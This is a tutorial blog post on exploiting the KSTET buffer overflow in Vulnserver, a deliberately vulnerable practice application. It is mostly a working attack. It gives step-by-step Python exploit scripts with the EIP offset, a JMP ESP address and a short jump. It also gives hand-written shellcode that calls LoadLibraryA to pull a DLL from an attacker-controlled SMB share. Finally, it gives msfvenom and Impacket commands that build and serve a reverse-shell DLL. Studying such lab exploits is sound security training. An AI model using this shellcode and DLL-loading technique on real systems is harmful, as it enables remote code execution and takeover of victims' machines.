KSTET: DLL Side-Loading ExploitSideloading exploiting
This is an alternate take of the article of exploiting the
KSTET command of
Vulnserver, a VbD
(Vulnerable-by-Design) application in which you can practice Windows
KSTET exploitation is really interesting because after controlling
the instruction pointer
EIP, we are left with little space to work on.
With that kind of restrictions, we must be very creative in order to
achieve a working exploit that triggers something complex like a reverse
shell. For example, we also had space restrictions in the exploitation
GTER command, and we used an Egghunter
and reused part of the WinSock stack
to create a custom reverse shellcode.
KSTET command article, we used a technique called socket
reusing. In this post we will squeeze our space
restriction a little more and use a different exploitation technique.
I will shamelessly leave part of the article for the
exploitation and only divert it when needed.
KSTET take 2!
Enumerating and fingerprinting is the most important step when verifying the security of any target.
Let’s check how the
KSTET command behaves:
$ telnet 192.168.0.20 9999 Trying 192.168.0.20... Connected to 192.168.0.20. Escape character is '^]'. Welcome to Vulnerable Server! Enter HELP for help. KSTET hello KSTET SUCCESSFUL
Well, easy enough. Now we are going to do the same but we will check it under our debugger. I will use Immunity Debugger.
The first step is to identify where the
KSTET command is processed.
We can do that by right-clicking, then
Search for → All referenced text strings, right-click again, then
Search for text and type
Make sure that
Entire scope is selected. Now, select the match on
KSTET string is presented and set a breakpoint:
With that in place, we can start our connection to
and see what happens under the hood:
As you can see, several things are happening:
Our breakpoint was reached when we typed
Several external functions are called, including
There is one function that stands out:
strcpy, which will copy anything that is on one buffer to another, without checking buffer boundaries.
Let’s see what happens when we issue something larger than a
Uggh! With a very short string, Vulnserver crashed, and we overwrote
EIP, which means that we can control the execution flow of the
With that, we can start creating our proof-of-concept exploit:
import socket HOST = '192.168.0.20' PORT = 9999 PAYLOAD = ( b'KSTET ' + b'A' * 200 ) with socket.create_connection((HOST, PORT)) as fd: print('Sending payload...') fd.sendall(PAYLOAD) print('Done.')
And check it:
That’s good news. However, the injected string was really short, and maybe we’d have a narrow buffer space to work on.
Checking available buffer space
If we check the state of the application after the crash, we will see this:
In the dump window (bottom left), we see our injected buffer. In the
PoC, we sent 200
A chars, but as you can see here, the total amount of
injected bytes, including the word
KSTET itself, is only 0x63 or 99
The first one is not viable because although we reduced the shellcode length to the half, the resultant shellcode was 128 bytes.
We could use an
egghunter here, but that wouldn’t be much fun. Why
make it easy if we can do it the hard way?
OK, let’s start by checking the offset of the crash by creating a cyclic
pattern of 100 characters using
pattern_create.rb tool from
$ msf-pattern_create -l 100 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5 Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
And update our exploit:
import socket HOST = '192.168.0.20' PORT = 9999 PAYLOAD = ( b'KSTET ' + b'<paste pattern here>' ) with socket.create_connection((HOST, PORT)) as fd: print('Sending payload...') fd.sendall(PAYLOAD) print('Done.')
And check it:
As you can see,
EIP was overwritten with
63413363. We can check the
offset of that bytes on our cyclic pattern to get the offset on where
EIP gets overwritten:
$ msf-pattern_offset -q 63413363 [*] Exact match at offset 70
Now, check that offset by updating our exploit:
import socket HOST = '192.168.0.20' PORT = 9999 PAYLOAD = ( b'KSTET ' + b'A' * 70 + b'B' * 4 + b'C' * 26 ) with socket.create_connection((HOST, PORT)) as fd: print('Sending payload...') fd.sendall(PAYLOAD) print('Done.')
And run it:
Wonderful! We know exactly how to overwrite
EIP to get control over
the execution flow.
As with the TRUN and GTER
commands, we have a direct
EIP overwrite here, and the
points directly to our controlled buffer. That means that we can look
JMP ESP instruction and overwrite
EIP with its address to take
control of the execution flow. We can do that using
!mona jmp -r esp -cp nonull -o
This would tell
mona to look for instructions that can be used to jump
jmp -r esp), excluding pointers with null bytes (
-cp nonull) and omitting OS DLLs (
-o). The result is the following:
We can choose any of those 9 pointers. I’ll choose the one at
Now, we can update the exploit with that address:
import socket import struct HOST = '192.168.0.20' PORT = 9999 PAYLOAD = ( b'KSTET ' + b'A' * 70 + # 625011BB FFE4 JMP ESP struct.pack('<L', 0x625011BB) + b'C' * 26 ) with socket.create_connection((HOST, PORT)) as fd: print('Sending payload...') fd.sendall(PAYLOAD) print('Done.')
And check it:
Great! However, as you can see, we landed on a 20 bytes buffer where we
C chars, but we have 66 bytes above on the buffer of the
With a short jump backward, we can easily jump to that place:
The resultant bytes were
EB B5. We can update our exploit with that:
import socket import struct HOST = '192.168.0.20' PORT = 9999 PAYLOAD = ( b'KSTET ' + b'A' * 70 + # 625011BB FFE4 JMP ESP struct.pack('<L', 0x625011BB) + # JMP SHORT 0xb5 b'\xeb\xb5' + b'C' * (26 - 2) ) with socket.create_connection((HOST, PORT)) as fd: print('Sending payload...') fd.sendall(PAYLOAD) print('Done.')
And check it:
But again, we were brutally reminded that we have a narrow buffer space to work on.
To work around that constraint, we will use this time a sideloading technique for injecting the needed payload from an adjacent computer.
Commonly, when creating an exploit, you inject the required payload and
modify the instruction pointer
EIP to point to your code. Then, the
victim application will execute the code you injected, which can be a
MessageBox or anything complex like a
That payload, or shellcode, can only use calls to the OS API of modules that the victim application has already loaded in memory.
The OS API is distributed on reusable files that can be linked to any
application. In Windows, they are known as Dynamic-Link Library or
DLL files. Commonly, an application will load executable dependencies
at run-time using the OS dynamic linker.
We can see the
DLL files loaded using several ways. On Vulnserver, we
will use our debugger again:
That means that Vulnserver (and therefore, our shellcode) can execute any function included on any of those modules.
However, there is a way for an application to include new libraries when
it’s already running: Dynamic Linking. On Windows, it can be done
with any of the LibraryLoad functions family. Those functions are
KERNEL32.DLL, which is the module that exposes most of the
Win32 base API; therefore, virtually any Windows application has it
loaded at run-time.
As the injected shellcode is also part of the application, we can
dynamically link any available
With that ultra-simplified introduction to dynamic linking, it’s time to write some Assembler!
The first thing to do is to locate the address of
LoadLibraryA on our
system. We can do that using the
C:\Users\Fluid Attacks\Downloads\osce\tools>arwin.exe kernel32 LoadLibraryA arwin - win32 address resolution program - by steve hanna - v.01 LoadLibraryA is located at 0x76460b30 in kernel32
NOTE: I’m using
Windows 10 Pro 20H2 at the moment of this writing.
ASLR is enabled by default, the
LoadLibraryA address will change
on every reboot.
We also need to know the
HMODULE LoadLibraryA( LPCSTR lpLibFileName );
lpLibFileName is a string with the location of the
file to be included. To our advantage, the location can be a Universal
Naming Convention (
UNC) path in the form
In Windows, that path would be resolved using the
SMB protocol. That
means that we must expose that file using an
SMB server, but we will
get to that later. For now, we can predict that the
UNC path of our
payload will be at
\\attacker_ip\share\shell.dll; in my case, it would
LoadLibraryA on an
x86 architecture, we must push into the
lpLibFileName value, which is a pointer to the
\\192.168.0.18\X\pwn.dll string. As
x86 is a 32 bits architecture,
we must push exactly 4 bytes each time into the stack, and as we are
pushing data into the stack, it must be in reverse order. So, we need to
\\192.168.0.18\X\pwn.dll to hex, split it in chunks of 4
bytes, pad as needed and reverse. This can be done with:
$ for i in $(echo -ne '\\\\192.168.0.18\\X\\pwn.dll' | xxd -ps | tr -d '\n' | fold -w 8); do python3 -c "import struct;print(struct.pack('<L', 0x$i).hex())"; done | tac | sed 's/^/push 0x/g' push 0x6c6c642e push 0x6e77705c push 0x585c3831 push 0x2e302e38 push 0x36312e32 push 0x39315c5c
With the required information, we can now write the call to
sub esp,0x64 ; Move ESP pointer above our initial buffer to avoid ; overwriting our shellcode xor ebx,ebx ; Zero out EBX that will be the NULL byte terminating ; the UNC path push ebx ; PUSH NULL byte push 0x6c6c642e ; \\192.168.0.18\X\pwn.dll reversed push 0x6e77705c push 0x585c3831 push 0x2e302e38 push 0x36312e32 push 0x39315c5c push esp ; Push pointer of the UNC path mov ebx,0x76460b30 ; Move into EBX the address of 'LoadLibraryA' call ebx ; call 'LoadLibraryA("\\192.168.0.18\X\pwn.dll")'
We can compile that using
nasm -f elf32 -o shellcode.o shellcode.asm
And obtain the shellcode using this:
$ for i in $(objdump -d shellcode.o -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done; echo \x83\xec\x64\x31\xdb\x53\x68\x2e\x64\x6c\x6c\x68\x6c\x6c\x30\x30\x68\x5c \x73\x68\x65\x68\x31\x38\x5c\x73\x68\x38\x2e\x30\x2e\x68\x32\x2e\x31\x36 \x68\x5c\x5c\x31\x39\xbb\x30\x0b\x46\x76\xff\xd3
Let’s update our exploit with that:
import socket import struct HOST = '192.168.0.20' PORT = 9999 LOAD_LIBRARY = ( b'\x83\xec\x64\x31\xdb\x53\x68\x2e\x64\x6c\x6c\x68\x5c\x70\x77\x6e' b'\x68\x31\x38\x5c\x58\x68\x38\x2e\x30\x2e\x68\x32\x2e\x31\x36\x68' b'\x5c\x5c\x31\x39\x54\xbb\x30\x0b\x46\x76\xff\xd3' ) PAYLOAD = ( b'KSTET ' + b'\x90' * 2 + LOAD_LIBRARY + b'A' * (70 - len(LOAD_LIBRARY) - 2) + # 625011BB FFE4 JMP ESP struct.pack('<L', 0x625011BB) + # JMP SHORT 0xb5 b'\xeb\xb5' + b'C' * (26 - 2) ) with socket.create_connection((HOST, PORT)) as fd: print('Sending payload...') fd.sendall(PAYLOAD) print('Done.')
And check it:
LoadLibraryA function is now ready.
Now that we have everything set, we must now create a shellcode on a
DLL file and share it on an
Luckily for us,
msfvenom can create shellcodes in
DLL format. Let’s
$ msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=192.168.0.18 LPORT=4444 EXITFUNC=none -f dll -o pwn.dll No encoder specified, outputting raw payload Payload size: 324 bytes Final size of dll file: 5120 bytes Saved as: pwn.dll
We also must serve that
pwn.dll file on an
SMB share called
can use Impacket’s
smbserver.py to do that:
$ sudo impacket-smbserver -smb2support X . Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation [*] Config file parsed [*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0 [*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0 [*] Config file parsed [*] Config file parsed [*] Config file parsed
This will create a new anonymous
SMB server, will share the current
., using a share called
-smb2support parameter is
needed because Windows 10 will refuse to connect to
SMB servers using
We are now ready. We can check our exploit:
Yes! We got a shell! You can see how the victim is self-hacking by retrieving the payload from our attacking machine!
You can also see that
pwn.dll is now part of the
Crazy, huh? You can download the final exploit here.
This was a very fun way of exploiting Vulnserver. Remember that this technique only works if the attacking machine is adjacent to the victim machine and there are no network restrictions between them.